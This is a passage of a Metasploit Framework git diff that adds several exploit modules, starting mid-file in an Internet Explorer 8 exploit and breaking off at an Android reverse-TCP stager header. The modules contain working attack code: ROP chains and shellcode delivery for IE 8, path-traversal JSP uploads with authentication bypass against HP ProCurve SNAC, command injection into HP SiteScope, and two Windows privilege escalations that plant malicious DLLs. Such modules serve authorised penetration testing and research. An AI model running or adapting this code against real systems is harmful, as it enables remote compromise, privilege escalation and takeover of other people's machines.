Tsai at Hitcon 2013. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jose Antonio Vazquez Gonzalez', # Original discovery reported from iDefense + 'Orange Tsai', # Rediscovery, published at Hitcon 2013 + 'Peter Vreugdenhil', # Joins the party (wtfuzz) + 'sinn3r' # Joins the party + ], + 'References' => + [ + [ 'CVE', '2013-3163' ], + [ 'OSVDB', '94981' ], + [ 'MSB', 'MS13-055' ], + [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'IE 8 on Windows XP SP3', + { + 'Rop' => :msvcrt, + 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret + 'Align' => 0x77c4d801 # add esp, 0x2c; ret + } + ], + [ + 'IE 8 on Windows 7', + { + 'Rop' => :jre, + 'Pivot' => 0x7c348b05, # xchg eax, esp; ret + 'Align' => 0x7C3445F8 # add esp, 0x2c; ret + } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + # Bug was patched in July 2013. Tsai was the first to publish the bug. + # But Jose already reported way back in Oct 2012 (to iDefense) + 'DisclosureDate' => "Jul 09 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end + + nil + end + + def get_payload(t, cli) + rop = '' + code = payload.encoded + esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + + case t['Rop'] + when :msvcrt + # Stack adjustment # add esp, -3500 + esp_align = "\x81\xc4\x54\xf2\xff\xff" + + print_status("Using msvcrt ROP") + rop = + [ + 0x77c1e844, # POP EBP # RETN [msvcrt.dll] + 0x77c1e844, # skip 4 bytes [msvcrt.dll] + 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] + 0xffffffff, + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] + 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] + 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] + 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] + 0x77c3048a, # POP EDI # RETN [msvcrt.dll] + 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] + 0x77c46efb, # POP ESI # RETN [msvcrt.dll] + 0x77c2aacc, # JMP [EAX] [msvcrt.dll] + 0x77c3b860, # POP EAX # RETN [msvcrt.dll] + 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] + 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] + 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] + ].pack("V*") + else + print_status("Using JRE ROP") + rop = + [ + 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) + 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] + 0x7c3415a2, # JMP [EAX] [msvcr71.dll] + 0xffffffff, + 0x7c376402, # skip 4 bytes [msvcr71.dll] + 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] + 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] + 0x7c344f87, # POP EDX # RETN [msvcr71.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] + 0x7c34d201, # POP ECX # RETN [msvcr71.dll] + 0x7c38b001, # &Writable location [msvcr71.dll] + 0x7c347f97, # POP EAX # RETN [msvcr71.dll] + 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] + 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] + # rop chain generated with mona.py + ].pack("V*") + end + + rop_payload = rop + rop_payload << esp_align + rop_payload << code + rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt + + rop_payload + end + + def junk + rand_text_alpha(4).unpack("V")[0].to_i + end + + def nop + make_nops(4).unpack("V")[0].to_i + end + + def get_html(t, p) + js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) + js_payload = Rex::Text.to_unescape(p) + js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) + js_junk = Rex::Text.to_unescape([junk].pack("V*")) + + q_id = Rex::Text.rand_text_alpha(1) + + html = %Q| + + + + + + + + + + +
+ + + +
+ + + + + +
+ + + | + + html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + t = get_target(agent) + + if t + p = get_payload(t, cli) + html = get_html(t, p) + print_status("Sending exploit...") + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + else + print_error("Not a suitable target: #{agent}") + send_not_found(cli) + end + end +end diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb new file mode 100644 index 0000000000..bf1dd3e84d --- /dev/null +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -0,0 +1,140 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload', + 'Description' => %q{ + This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The + vulnerability in the UpdateCertificatesServlet allows an attacker to upload arbitrary + files, just having into account binary writes aren't allowed. Additionally, authentication + can be bypassed in order to upload the file. This module has been tested successfully on + the SNAC server installed with HP ProCurve Manager 4.0. + }, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-4812' ], + [ 'OSVDB', '97155' ], + [ 'BID', '62348' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-225/' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'SSL' => true, + }, + 'DisclosureDate' => 'Sep 09 2013')) + + register_options( + [ + Opt::RPORT(443) + ], self.class ) + end + + def check + session = get_session + if session.nil? + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'uri' => "/RegWeb/RegWeb/GetCertificateStatusServlet", + 'cookie' => session + }) + + if res and res.code == 200 and res.body =~ /"success":"true"/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def get_session + res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" }) + session = nil + if res and res.code == 200 + session = res.get_cookies + end + + if session and not session.empty? + return session + end + + return nil + end + + def exploit_upload(session) + jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp" + rand_password = rand_text_alpha(4 + rand(10)) + post_message = Rex::MIME::Message.new + post_message.add_part(payload.encoded, "application/x-pkcs12", nil, "form-data; name=\"importFile\"; filename=\"\\../#{jsp_name}\"") + post_message.add_part(rand_password, nil, nil, "form-data; name=\"importPasswd\"") + post_message.add_part("{\"importPasswd\":\"#{rand_password}\"}", nil, nil, "form-data; name=\"cert_data\"") + post_message.add_part("importCertificate", nil, nil, "form-data; name=\"cert_action\"") + data = post_message.to_s + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") + + res = send_request_cgi( + { + 'uri' => "/RegWeb/RegWeb/UpdateCertificatesServlet", + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_message.bound}", + 'cookie' => session, + 'data' => data, + }) + + if res and res.code == 200 and res.body =~ /Certificate import fails/ + return jsp_name + end + + return nil + end + + def peer + return "#{rhost}:#{rport}" + end + + def exploit + print_status("#{peer} - Getting a valid session...") + session = get_session + if session.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session") + end + + print_status("#{peer} - Uploading payload...") + jsp = exploit_upload(session) + unless jsp + fail_with(Failure::NotVulnerable, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" }) + end + +end diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb new file mode 100644 index 0000000000..d24d458f5c --- /dev/null +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -0,0 +1,138 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload', + 'Description' => %q{ + This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The + vulnerability in the UpdateDomainControllerServlet allows an attacker to upload arbitrary + files, just having into account binary writes aren't allowed. Additionally, authentication + can be bypassed in order to upload the file. This module has been tested successfully on + the SNAC server installed with HP ProCurve Manager 4.0. + }, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-4811' ], + [ 'OSVDB', '97154' ], + [ 'BID', '62349' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-226/' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'SSL' => true, + }, + 'DisclosureDate' => 'Sep 09 2013')) + + register_options( + [ + Opt::RPORT(443) + ], self.class ) + end + + def check + session = get_session + if session.nil? + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet", + 'cookie' => session + }) + + if res and res.code == 200 and res.body =~ /domainName/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def get_session + res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" }) + session = nil + if res and res.code == 200 + session = res.get_cookies + end + + if session and not session.empty? + return session + end + + return nil + end + + def exploit_upload(session) + jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp" + post_message = Rex::MIME::Message.new + post_message.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"adCert\"; filename=\"\\../#{jsp_name}\"") + post_message.add_part("{}", nil, nil, "form-data; name=\"ad_data\"") + post_message.add_part("add", nil, nil, "form-data; name=\"ad_action\"") + data = post_message.to_s + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") + + res = send_request_cgi( + { + 'uri' => "/RegWeb/RegWeb/UpdateDomainControllerServlet", + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_message.bound}", + 'cookie' => session, + 'data' => data, + }) + + if res and res.code == 200 and res.body =~ /success:false/ + return jsp_name + end + + return nil + end + + def peer + return "#{rhost}:#{rport}" + end + + def exploit + print_status("#{peer} - Getting a valid session...") + session = get_session + if session.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session") + end + + print_status("#{peer} - Uploading payload...") + jsp = exploit_upload(session) + unless jsp + fail_with(Failure::NotVulnerable, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" }) + end + +end diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb new file mode 100644 index 0000000000..03f932c990 --- /dev/null +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -0,0 +1,173 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP SiteScope Remote Code Execution', + 'Description' => %q{ + This module exploits a code execution flaw in HP SiteScope. + The vulnerability exists in the opcactivate.vbs script, which + is reachable from the APIBSMIntegrationImpl AXIS service, and + uses WScript.Shell.run() to execute cmd.exe with user provided + data. Note that the opcactivate.vbs component is installed + with the (optional) HP Operations Agent component. The module + has been tested successfully on HP SiteScope 11.20 (with HP + Operations Agent) over Windows 2003 SP2. + }, + 'Author' => + [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2367'], + [ 'OSVDB', '95824' ], + [ 'BID', '61506' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + }, + 'DisclosureDate' => 'Jul 29 2013')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) + ], self.class) + end + + def uri + uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' + return uri + end + + def check + + op = rand_text_alpha(8 + rand(10)) + key = rand_text_alpha(8 + rand(10)) + value = rand_text_alpha(8 + rand(10)) + + res = send_soap_request(op, key, value) + + if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Delivering payload...") + + # The path to the injection is something like: + # * Java exec => cscript => WScript.Shell => cmd.exe (injection happens) + # Empirically has been tested a 1500 value for :linemax makes it work + # reliable + execute_cmdstager({:linemax => 1500}) + end + + def get_vbs_string(str) + vbs_str = "" + str.each_byte { |b| + vbs_str << "Chr(#{b})+" + } + + return vbs_str.chomp("+") + end + + # Make the modifications required to the specific encoder + # This exploit uses an specific encoder because quotes (") + # aren't allowed when injecting commands + def execute_cmdstager_begin(opts) + var_decoded = @stager_instance.instance_variable_get(:@var_decoded) + var_encoded = @stager_instance.instance_variable_get(:@var_encoded) + decoded_file = "#{var_decoded}.exe" + encoded_file = "#{var_encoded}.b64" + @cmd_list.each { |command| + # Because the exploit kills cscript processes to speed up and reliability + command.gsub!(/cscript \/\/nologo/, "wscript //nologo") + command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file)) + command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file)) + } + end + + def execute_command(cmd, opts={}) + # HTML Encode '&' character + # taskkill allows to kill the cscript process which is triggering the + # different operations performed by the OPACTIVATE command. It speeds + # up exploitation and improves reliability (some processes launched can die + # due to the fake activation). But this line also will kill other cscript + # legit processes which could be running on the target host. Because of it + # the exploit has a Manual ranking + command = ""127.0.0.1 && " + command << cmd.gsub(/&/, "&") + command << " && taskkill /F /IM cscript.exe "" + + res = send_soap_request("OPCACTIVATE", "omHost", command) + + if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/ + fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...") + end + + end + + def send_soap_request(op, key, value) + data = "" + data << "" + data << "" + data << "" + data << "" + data << "" + data << "#{key}" + data << "#{value}" + data << "" + data << "" + data << "#{op}" + data << "" + data << "" + data << "" + + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'), + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => data, + 'headers' => { + 'SOAPAction' => '""' + } + }) + + return res + end + +end diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb new file mode 100644 index 0000000000..16c30bcd42 --- /dev/null +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -0,0 +1,179 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/process' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation', + 'Description' => %q{ + This module exploits a directory traversal vulnerability on Agnitum Outpost Internet + Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load + load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary + code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with + Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ahmad Moghimi', # Vulnerability discovery + 'juan vazquez' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'Privileged' => true, + 'Targets' => + [ + [ 'Agnitum Outpost Internet Security 8.1', { } ], + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'References' => + [ + [ 'OSVDB', '96208' ], + [ 'EDB', '27282' ], + [ 'URL', 'http://mallocat.com/a-journey-to-antivirus-escalation/' ] + ], + 'DisclosureDate' => 'Aug 02 2013', + 'DefaultTarget' => 0 + })) + + register_options([ + # It is OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]), + # By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\ + OptInt.new("DEPTH", [ true, "Traversal depth", 3 ]) + ], self.class) + + + end + + def junk + return rand_text_alpha(4).unpack("V").first + end + + def open_named_pipe(pipe) + invalid_handle_value = 0xFFFFFFFF + + r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0) + + handle = r['return'] + + if handle == invalid_handle_value + return nil + end + + return handle + end + + def write_named_pipe(handle, dll_path, dll_name) + + traversal_path = "..\\" * datastore["DEPTH"] + traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "") + traversal_path << "\\#{dll_name}" + + path = Rex::Text.to_unicode(traversal_path) + + data = "\x00" * 0x11 + data << path + data << "\x00\x00" + data << "\x00\x00\x00" + + buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler + buf << [0x17].pack("V") # command + buf << [junk].pack("V") + buf << [data.length].pack("V") + buf << [0, 0, 0].pack("V*") + buf << data + + w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil) + + if w['return'] == false + print_error("The was an error writing to disk, check permissions") + return nil + end + + return w['lpNumberOfBytesWritten'] + end + + + def check + handle = open_named_pipe("\\\\.\\pipe\\acsipc_server") + if handle.nil? + return Exploit::CheckCode::Safe + end + session.railgun.kernel32.CloseHandle(handle) + return Exploit::CheckCode::Detected + end + + def exploit + + temp_dir = "" + + print_status("Opening named pipe...") + handle = open_named_pipe("\\\\.\\pipe\\acsipc_server") + if handle.nil? + fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found") + else + print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...") + end + + if datastore["WritableDir"] and not datastore["WritableDir"].empty? + temp_dir = datastore["WritableDir"] + else + temp_dir = expand_path("%TEMP%") + end + + print_status("Using #{temp_dir} to drop malicious DLL...") + begin + cd(temp_dir) + rescue Rex::Post::Meterpreter::RequestError + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Config, "Failed to use the #{temp_dir} directory") + end + + print_status("Writing malicious DLL to remote filesystem") + write_path = pwd + dll_name = "#{rand_text_alpha(10 + rand(10))}.dll" + begin + # Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem + write_file(dll_name, generate_payload_dll) + register_file_for_cleanup("#{write_path}\\#{dll_name}") + rescue Rex::Post::Meterpreter::RequestError + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Config, "Failed to drop payload into #{temp_dir}") + end + + print_status("Exploiting through \\\\.\\pipe\\acsipc_server...") + bytes = write_named_pipe(handle, write_path, dll_name) + session.railgun.kernel32.CloseHandle(handle) + + if bytes.nil? + fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server") + end + + end + +end diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb new file mode 100644 index 0000000000..8ba2e8390f --- /dev/null +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -0,0 +1,312 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/windows/services' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/accounts' +require 'msf/core/post/file' + +class Metasploit3 < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts + + def initialize(info={}) + super( update_info( info, + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', + 'Description' => %q{ + This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' + (IKEEXT) service which runs as SYSTEM, and starts automatically in default + installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload. + }, + 'References' => + [ + ['URL', 'https://www.htbridge.com/advisory/HTB23108'], + ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] + ], + 'DisclosureDate' => "Oct 09 2012", + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ben Campbell ' + ], + 'Platform' => [ 'win'], + 'Targets' => + [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'SessionTypes' => [ "meterpreter" ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => 5, + 'ReverseConnectRetries' => 255 + }, + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) + ]) + @service_name = 'IKEEXT' + @load_lib_search_path = [ '%SystemRoot%\\System32', + '%SystemRoot%\\System', + '%SystemRoot%' + ] + @non_existant_dirs = [] + end + + def check_service_exists?(service) + srv_info = service_info(service) + + if srv_info.nil? + print_warning("Unable to enumerate services.") + return false + end + + if srv_info && srv_info['Name'].empty? + print_warning("Service #{service} does not exist.") + return false + else + return true + end + end + + def check + srv_info = service_info(@service_name) + + if !check_service_exists?(@service_name) + return Exploit::CheckCode::Safe + end + + vprint_status(srv_info.to_s) + + case srv_info['Startup'] + when 'Disabled' + print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Manual' + print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + print_good("Service is set to Automatically start...") + end + + if check_search_path + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable + end + + def check_search_path + dll = 'wlbsctrl.dll' + + @load_lib_search_path.each do |path| + dll_path = "#{expand_path(path)}\\#{dll}" + + if file_exist?(dll_path) + print_warning("DLL already exists at #{dll_path}...") + return true + end + end + + return false + end + + def check_system_path + print_status("Checking %PATH% folders for write access...") + result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + + if result.nil? + print_error("Unable to retrieve %PATH% from registry.") + return + end + + paths = result.split(';') + paths.append(@load_lib_search_path).flatten!.uniq! + + paths.each do |p| + path = expand_path(p) + if exist?(path) + if check_write_access(path) + return path + end + else + # User may be able to create the path... + print_status("Path #{path} does not exist...") + @non_existant_dirs << path + end + end + + return nil + end + + def check_write_access(path) + perm = check_dir_perms(path, @token) + if perm and perm.include?('W') + print_good ("Write permissions in #{path} - #{perm}") + return true + elsif perm + vprint_status ("Permissions for #{path} - #{perm}") + else + vprint_status ("No permissions for #{path}") + end + + return false + end + + def check_dirs + print_status("Attempting to create a non-existant PATH dir to use.") + @non_existant_dirs.each do |dir| + begin + client.fs.dir.mkdir(dir) + if exist?(dir) + register_file_for_cleanup(dir) + return dir + end + rescue Rex::Post::Meterpreter::RequestError => e + vprint_status("Unable to create dir: #{dir} - #{e}") + end + end + + return nil + end + + def check_session_arch + if sysinfo['Architecture'] =~ /x64/i + if payload_instance.arch.first == 'x86' + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end + else + if payload_instance.arch.first =~ /64/i + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end + end + end + + def exploit + check_session_arch + + begin + @token = get_imperstoken + rescue Rex::Post::Meterpreter::RequestError + vprint_error("Error while using get_imperstoken: #{e}") + end + + fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token + + if is_system? + fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") + end + + print_status("Checking service exists...") + if !check_service_exists?(@service_name) + fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") + end + + if is_uac_enabled? + print_warning("UAC is enabled, may get false negatives on writable folders.") + end + + if datastore['DIR'].empty? + # If DLL already exists in system folders, we dont want to overwrite by accident + if check_search_path + fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") + end + + file_path = check_system_path + file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs + + if file_path.nil? + fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") + end + else + # Use manually selected Dir + file_path = datastore['DIR'] + end + + @dll_file_path = "#{file_path}\\wlbsctrl.dll" + + service_information = service_info(@service_name) + + if service_information['Startup'] == 'Disabled' + print_status("Service is disabled, attempting to enable...") + service_change_startup(@service_name, 'auto') + service_information = service_info(@service_name) + + # Still disabled + if service_information['Startup'] == 'Disabled' + fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") + end + end + + # Check architecture + dll = generate_payload_dll + + # + # Drop the malicious executable into the path + # + print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") + begin + write_file(@dll_file_path, dll) + register_file_for_cleanup(@dll_file_path) + rescue Rex::Post::Meterpreter::RequestError => e + # Can't write the file, can't go on + fail_with(Exploit::Failure::Unknown, e.message) + end + + # + # Run the service, let the Windows API do the rest + # + print_status("Launching service #{@service_name}...") + + begin + status = service_start(@service_name) + if status == 1 + print_status("Service already running, attempting to restart...") + if service_stop(@service_name) == 0 + print_status("Service stopped, attempting to start...") + if service_start(@service_name) == 0 + print_status("Service started...") + else + fail_with(Exploit::Failure::Unknown, "Unable to start service.") + end + else + fail_with(Exploit::Failure::Unknown, "Unable to stop service") + end + elsif status == 0 + print_status("Service started...") + end + rescue RuntimeError => e + raise e if e.kind_of? Msf::Exploit::Failed + if service_information['Startup'] == 'Manual' + fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") + else + if job_id + print_status("Unable to start service, handler running waiting for a reboot...") + while(true) + break if session_created? + select(nil,nil,nil,1) + end + else + fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + end + end + end + end + +end + diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 34d586bedf..c9d8e47561 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ 